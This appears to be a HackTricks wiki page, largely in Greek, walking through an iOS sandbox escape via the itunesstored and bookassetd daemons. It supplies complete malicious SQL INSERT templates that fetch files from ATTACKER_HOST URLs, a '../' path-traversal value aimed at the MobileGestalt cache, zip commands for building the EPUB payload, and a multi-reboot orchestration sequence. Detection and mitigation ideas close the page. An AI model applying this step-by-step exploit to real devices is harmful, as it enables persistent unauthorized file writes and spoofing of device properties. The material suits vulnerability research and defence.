itunesstored & bookassetd Sandbox Escape

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

Πρόσφατη έρευνα δείχνει ότι δύο προεγκατεστημένα iOS daemons, itunesstored (downloads manager) και bookassetd (Books / iBooks asset manager), εμπιστεύονται χωρίς έλεγχο μεταδεδομένα SQLite που μπορούν να τροποποιηθούν από τον χρήστη. Με την τοποθέτηση κατασκευασμένων αρχείων downloads.28.sqlitedb και BLDatabaseManager.sqlite μαζί με ένα ελάχιστο EPUB archive, ένας επιτιθέμενος που μπορεί να γράψει κάτω από /var/mobile/Media/ μπορεί να εξαναγκάσει αυτά τα daemons σε αρχεία εγγραφής προς αυθαίρετες τοποθεσίες σε περισσότερα paths που ανήκουν στο mobile μέσα στο /private/var/. Τα primitives επιβιώνουν μετά από επανεκκινήσεις και σας επιτρέπουν να επεξεργαστείτε caches του system group όπως systemgroup.com.apple.mobilegestaltcache για να παραπλανήσετε ιδιότητες της συσκευής ή να επιμείνετε ρυθμίσεις.

Κύρια χαρακτηριστικά:

  • Λειτουργεί σε συσκευές έως τουλάχιστον iOS 26.2b1 (δοκιμάστηκε σε iPhone 12 / iOS 26.0.1).
  • Οι εγγράψιμοι στόχοι περιλαμβάνουν caches SystemGroup, /private/var/mobile/Library/FairPlay, /private/var/mobile/Media, και άλλα αρχεία που ανήκουν στο mobile. Οι εγγραφές σε αρχεία που ανήκουν στο root αποτυγχάνουν.
  • Απαιτεί μόνο πρόσβαση σε επίπεδο AFC (αντιγραφή αρχείων μέσω USB) ή οποιοδήποτε foothold που σας επιτρέπει να αντικαταστήσετε τις στοχοθετούμενες SQLite DBs και να ανεβάσετε payloads.

Μοντέλο Απειλής & Απαιτήσεις

  1. Τοπική πρόσβαση στο σύστημα αρχείων προς /var/mobile/Media/Downloads/ και /var/mobile/Media/Books/ (μέσω AFC clients όπως 3uTools, i4.cn, ή afcclient μέσω USB, ή οποιαδήποτε προηγούμενη παραβίαση).
  2. HTTP server που φιλοξενεί αρχεία του attacker (BLDatabaseManager.sqlite, iTunesMetadata.plist, crafted EPUB) εκτεθειμένα μέσω URLs όπως https://ATTACKER_HOST/fileprovider.php?type=....
  3. Ικανότητα να επανεκκινήσετε τη συσκευή πολλαπλές φορές ώστε κάθε daemon να επαναφορτώσει τη βάση δεδομένων του.
  4. Γνώση του Books system-group UUID ώστε η εγγραφή του Stage 1 να προσγειωθεί στο σωστό container (βρίσκεται μέσω syslog).

Stage 1 – Abusing downloads.28.sqlitedb via itunesstored

itunesstored επεξεργάζεται το /var/mobile/Media/Downloads/downloads.28.sqlitedb. Ο πίνακας asset αποθηκεύει URL + προορισμό μεταδεδομένων και θεωρείται αξιόπιστη είσοδος. Η δημιουργία μίας γραμμής που δείχνει σε attacker URL και ορίζει το local_path σε .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite μέσα στο Books SystemGroup αναγκάζει το itunesstored να κατεβάσει και να αντικαταστήσει τη βάση δεδομένων των Books με το περιεχόμενο του attacker κατά την εκκίνηση.

Εντοπισμός του Books SystemGroup UUID

  1. Συλλέξτε ένα αρχείο syslog με pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
  1. Ανοίξτε το logs.logarchive στο Console.app και αναζητήστε bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite.
  2. Καταγράψτε <UUID> και αντικαταστήστε το στο SQL payload.

Κακόβουλη asset row

Stage 1 INSERT template ```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup//Documents/BLDatabaseManager/BLDatabaseManager.sqlite', NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0, NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0, NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1 ); ```

Πεδία που έχουν σημασία:

  • url: attacker-controlled endpoint returning the malicious BLDatabaseManager.sqlite.
  • local_path: το αρχείο system-group Books BLDatabaseManager.sqlite που προσδιορίστηκε παραπάνω.
  • Σημαίες ελέγχου: διατήρησε τις προεπιλογές (asset_type='media', path_extension='epub', booleans σε 0/1 όπως στο πρότυπο) ώστε ο daemon να αποδεχτεί την εργασία.

Ανάπτυξη

  1. Διαγράψτε παλιές εγγραφές /var/mobile/Media/Downloads/* για να αποφευχθούν καταστάσεις ανταγωνισμού.
  2. Αντικαταστήστε το downloads.28.sqlitedb με τη crafted DB μέσω AFC.
  3. Επανεκκίνηση → itunesstored κατεβάζει τη βάση δεδομένων Σταδίου 2 και αποθέτει το /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist.
  4. Αντιγράψτε εκείνο το plist στο /var/mobile/Media/Books/iTunesMetadata.plist; το Στάδιο 2 το περιμένει σε αυτή τη θέση.

Στάδιο 2 – Κατάχρηση του BLDatabaseManager.sqlite μέσω του bookassetd

bookassetd έχει ευρύτερα filesystem entitlements και εμπιστεύεται τον πίνακα ZBLDOWNLOADINFO. Εισάγοντας μια ψεύτικη εγγραφή αγοράς που αναφέρεται σε attacker URLs και σε traversal στο ZPLISTPATH, ο daemon κατεβάζει το EPUB σας στο /var/mobile/Media/Books/asset.epub και στη συνέχεια αποσυμπιέζει μεταδεδομένα σε οποιοδήποτε mobile-owned path προσβάσιμο μέσω ακολουθιών διαφυγής ../../...

Κακόβουλη ZBLDOWNLOADINFO εγγραφή

Πρότυπο INSERT Σταδίου 2 ```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```

Important fields:

  • ZASSETPATH: τοποθεσία EPUB στο δίσκο που ελέγχεται από τον επιτιθέμενο.
  • ZURL/ZPERMLINK: διευθύνσεις URL επιτιθέμενου που φιλοξενούν το EPUB και το βοηθητικό plist.
  • ZPLISTPATH: ../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library – η path traversal base που προστίθεται στα αρχεία που εξάγονται από το EPUB. Προσαρμόστε το traversal depth για να φτάσετε το επιθυμητό SystemGroup target.
  • Purchase metadata (ZSTOREIDENTIFIER, names, timestamps) μιμούνται νόμιμες εγγραφές ώστε το daemon να μην απορρίψει τη γραμμή.

After copying the malicious DB into /private/var/containers/Shared/SystemGroup//Documents/BLDatabaseManager/BLDatabaseManager.sqlite (courtesy of Stage 1) and rebooting twice, bookassetd will (1) download the EPUB, (2) process it and write the derived plist under the traversed path.

Κατασκευή του EPUB Payload

bookassetd ακολουθεί το EPUB ZIP format: mimetype πρέπει να είναι η πρώτη μη συμπιεσμένη εγγραφή. Για να αντιστοιχίσετε τα περιεχόμενα του EPUB στην cache του MobileGestalt, δημιουργήστε ένα δέντρο καταλόγων που αντικατοπτρίζει την επιθυμητή διαδρομή σε σχέση με το ZPLISTPATH.

Caches/
├── mimetype
└── com.apple.MobileGestalt.plist

Δημιουργήστε το αρχείο:

zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
  • mimetype συνήθως περιέχει το literal application/epub+zip.
  • Caches/com.apple.MobileGestalt.plist κρατάει το payload που ελέγχεται από τον επιτιθέμενο και που θα καταλήξει στο .../Library/Caches/com.apple.MobileGestalt.plist.

Ροή Ορχήστρωσης

  1. Ετοιμάστε αρχεία στον HTTP server του επιτιθέμενου και κατασκευάστε και τις δύο SQLite DBs με τιμές ειδικές για host/UUID.
  2. Αντικαταστήστε downloads.28.sqlitedb στη συσκευή και κάντε επανεκκίνηση → Stage 1 κατεβάζει το κακόβουλο BLDatabaseManager.sqlite και παράγει /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist.
  3. Αντιγράψτε iTunesMetadata.plist στο /var/mobile/Media/Books/iTunesMetadata.plist (επανάλαβε αν ο daemon το διαγράψει).
  4. Επανεκκινήστε ξανάbookassetd κατεβάζει asset.epub στο /var/mobile/Media/Books/ χρησιμοποιώντας τα metadata του Stage 2.
  5. Επανεκκινήστε τρίτη φοράbookassetd επεξεργάζεται το κατεβασμένο asset, ακολουθεί το ZPLISTPATH, και γράφει τα περιεχόμενα του EPUB στην στοχευμένη διαδρομή SystemGroup (π.χ., com.apple.MobileGestalt.plist).
  6. Επιβεβαιώστε διαβάζοντας το αντικατασταθέν plist ή παρατηρώντας ότι οι ιδιότητες που προέρχονται από MobileGestalt (model identifier, activation flags, κ.λπ.) αλλάζουν ανάλογα.

Το ίδιο μοτίβο σας επιτρέπει να τοποθετήσετε αρχεία κάτω από άλλες caches που ανήκουν στο mobile, όπως FairPlay state ή persistence directories, επιτρέποντας διακριτική αλλοίωση χωρίς να χρειάζεται kernel exploit.

Εργαλεία & Σημειώσεις Λειτουργίας

  • pymobiledevice3 syslog collect logs.logarchive – εξαγάγετε τα αρχεία καταγραφής για να εντοπίσετε το Books SystemGroup UUID.
  • Console.app – φιλτράρετε για bookassetd [Database]: Store is at ... για να ανακτήσετε την ακριβή διαδρομή του container.
  • AFC clients (afcclient, 3uTools, i4.cn) – push/pull SQLite DBs και αρχεία plist μέσω USB χωρίς jailbreak.
  • zip – επιβάλετε τους περιορισμούς σειράς του EPUB κατά το πακετάρισμα payloads.
  • Public PoChttps://github.com/hanakim3945/bl_sbx περιλαμβάνει βασικά πρότυπα SQLite/EPUB που μπορείτε να προσαρμόσετε.

Ιδέες Ανίχνευσης & Αποτροπής

  • Θεωρήστε downloads.28.sqlitedb και BLDatabaseManager.sqlite ως μη αξιόπιστη είσοδο: επαληθεύστε ότι local_path / ZPLISTPATH παραμένουν εντός εγκεκριμένων sandboxes και απορρίψτε πλήρως καθορισμένες διαδρομές ή traversal tokens.
  • Παρακολουθήστε για AFC εγγραφές που αντικαθιστούν αυτές τις βάσεις δεδομένων ή για απρόσμενα downloads που ξεκινούν από itunesstored / bookassetd αμέσως μετά το boot.
  • Ενισχύστε την αποσυσκευασία του bookassetd ώστε να καλεί realpath() για τον προορισμό εξόδου και διασφαλίστε ότι δεν μπορεί να διαφύγει από το Books container πριν γράψει αρχεία.
  • Περιορίστε τα κανάλια αντιγραφής αρχείων AFC / USB ή απαιτήστε αλληλεπίδραση χρήστη πριν επιτρέψετε την αντικατάσταση των αρχείων metadata των Books/iTunes.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks